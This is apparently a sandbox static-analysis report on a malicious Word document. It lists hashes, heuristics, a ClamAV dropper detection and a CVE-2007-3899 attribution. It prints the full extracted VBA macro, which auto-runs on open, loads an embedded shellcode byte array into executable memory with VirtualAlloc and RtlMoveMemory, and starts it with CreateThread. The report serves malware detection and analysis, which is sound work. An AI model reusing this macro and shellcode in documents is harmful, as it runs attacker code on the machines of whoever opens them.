Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c20145ae186478b5…

MALICIOUS

Office (OLE)

35.5 KB Created: 2017-09-29 07:13:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: a61b93727e47560f14aa32fafb01e58e SHA-1: 1769f2e48bbba9c403d43b498588537cf068fadc SHA-256: c20145ae186478b5161f7cc7c07d0e3cadc0cfb17ab6752e06e011f2244dbf2a
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that leverages the CVE-2007-3899 vulnerability. This vulnerability allows for memory corruption, enabling the execution of arbitrary code. The presence of VBA macros and the explicit mention of VirtualAlloc API in the heuristics indicate that the document is designed to allocate memory and likely execute a shellcode payload. The ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Jrjtrm As Long, Dibivxk As Variant, Iikhhke As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4731 bytes
SHA-256: 949a4124cf080f20aa3faf2eadde7c8ff374f9b58af9b07b97fa7c0c9ae89b67
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Huf As Long, ByVal Hntnmokcb As Long, ByVal Ejnfly As LongPtr, Yhezj As Long, ByVal Mzuilwcr As Long, Jodtghnvu As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Sppct As Long, ByVal Meb As Long, ByVal Obxmijakc As Long, ByVal Qjg As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Jxytj As LongPtr, ByRef Ddsfqy As Any, ByVal Srz As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Huf As Long, ByVal Hntnmokcb As Long, ByVal Ejnfly As Long, Yhezj As Long, ByVal Mzuilwcr As Long, Jodtghnvu As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Sppct As Long, ByVal Meb As Long, ByVal Obxmijakc As Long, ByVal Qjg As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Jxytj As Long, ByRef Ddsfqy As Any, ByVal Srz As Long) As Long
#End If

Sub Auto_Open()
    Dim Jrjtrm As Long, Dibivxk As Variant, Iikhhke As Long
#If VBA7 Then
    Dim Gxicoyfne As LongPtr, Kxgdgblf As LongPtr
#Else
    Dim Gxicoyfne As Long, Kxgdgblf As Long
#End If
    Dibivxk = Array(194, 217, 116, 36, 244, 189, 57, 220, 91, 32, 88, 49, 201, 177, 145, 49, 104, 23, 3, 104, _
23, 131, 249, 216, 185, 213, 32, 8, 133, 14, 123, 108, 199, 247, 15, 75, 220, 87, 220, 90, _
173, 226, 161, 178, 50, 195, 226, 88, 200, 99, 224, 43, 158, 128, 3, 154, 246, 223, 25, 247, _
208, 5, 21, 78, 109, 241, 124, 89, 79, 252, 247, 39, 9, 169, 42, 217, 141, 149, 136, 29, 6, 122, 163, 164, 96, 90, 105, 232, 63, 213, 44, 245, 61, 116, 11, 178, 23, 90, 188, 174, _
171, 138, 12, 29, 79, 34, 85, 178, 38, 23, 152, 170, 176, 143, 229, 157, 243, 77, 150, 223, _
165, 1, 63, 199, 143, 236, 241, 133, 143, 48, 94, 246, 54, 216, 5, 69, 68, 42, 70, 29, _
47, 63, 110, 37, 213, 221, 72, 91, 177, 111, 184, 244, 146, 141, 88, 43, 11, 53, 106, 216, 55, 246, 222, 220, 149, 81, 135, 56, 67, 140, 214, 37, 139, 22, 250, 76, 180, 136, 28, 131, _
190, 85, 91, 179, 20, 141, 108, 9, 213, 68, 244, 27, 178, 75, 115, 78, 19, 190, 48, 154, _
153, 212, 99, 142, 83, 94, 247, 181, 147, 65, 121, 167, 35, 31, 122, 60, 145, 212, 127, 199, _
178, 242, 23, 140, 228, 109, 236, 2, 174, 17, 117, 32, 21, 102, 120, 7, 46, 3, 82, 206, 40, 248, 65, 20, 37, 178, 34, 13, 185, 197, 171, 97, 136, 165, 164, 109, 126, 178, 2, 210, _
169, 66, 232, 122, 29, 12, 140, 184, 176, 240, 49, 30, 231, 158, 11, 249, 78, 237, 130, 81, _
2, 77, 93, 149, 141, 64, 164, 165, 73, 93, 25, 212, 223, 178, 155, 183, 89, 8, 20, 72, _
96, 237, 84, 201, 123, 238, 212, 24, 8, 206, 214, 92, 232, 27, 201, 145, 36, 11, 147, 99, 2, 2, 127, 70, 247, 188, 222, 70, 223, 74, 251, 127, 12, 201, 56, 104, 173, 96, 76, 160, _
186, 26, 42, 158, 227, 11, 10, 41, 15, 246, 244, 161, 42, 34, 114, 148, 113, 135, 36, 113, _
62, 242, 205, 118, 149, 129, 100, 34, 66, 202, 75, 224, 76, 107, 52, 142, 140, 46, 59, 151, _
232, 236, 154, 171, 244, 183, 156, 135, 228, 57, 29, 242, 61, 137, 101, 128, 225, 211, 102, 152, _
39, 59, 109, 211, 76, 58, 88, 220, 255, 253, 175, 47, 158, 229, 158, 188, 114, 23, 62, 84, 93, 158, 192, 170, 98, 89, 26, 96, 91, 1, 73, 155, 120, 161, 207, 31, 41, 193, 190, 51, _
126, 143, 125, 99, 164, 7, 113, 63, 56, 209, 239, 109, 168, 70, 221, 58, 244, 187, 197, 85, _
157, 180, 112, 67, 100, 153, 114, 94, 137, 155, 165, 4, 250, 191, 164, 226, 107, 144, 39, 127, _
179, 28, 188, 93, 236, 81, 89, 237, 94, 233, 190, 49, 178, 59, 222, 206, 137, 225, 125, 221, _
19, 211, 11, 121, 147, 28, 160, 48, 243, 204, 5, 91, 158, 44, 212, 53, 0, 233, 97, 174, _
110, 249, 150, 235, 186, 197, 168, 27, 121, 115, 220, 126, 63, 153, 247, 60, 99, 139, 210, 48, 99, 11, 61, 222, 185, 209, 31, 175, 155, 146, 107, 89, 194, 91, 245, 229, 131, 139, 180, 40, _
205, 27, 148, 226, 169, 230, 168, 7, 128, 255, 184, 142, 205, 161, 85, 236, 6, 32, 85, 102, _
189, 238, 152, 30, 91, 165, 54, 99, 56, 6, 228, 105, 190, 132, 126, 156, 93, 184, 82, 209, _
134, 63)

    Gxicoyfne = VirtualAlloc(0, UBound(Dibivxk), &H1000, &H40)
    For Iikhhke = LBound(Dibivxk) To UBound(Dibivxk)
        Jrjtrm = Dibivxk(Iikhhke)
        Kxgdgblf = RtlMoveMemory(Gxicoyfne + Iikhhke, Jrjtrm, 1)
    Next Iikhhke
    Kxgdgblf = CreateThread(0, 0, Gxicoyfne, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub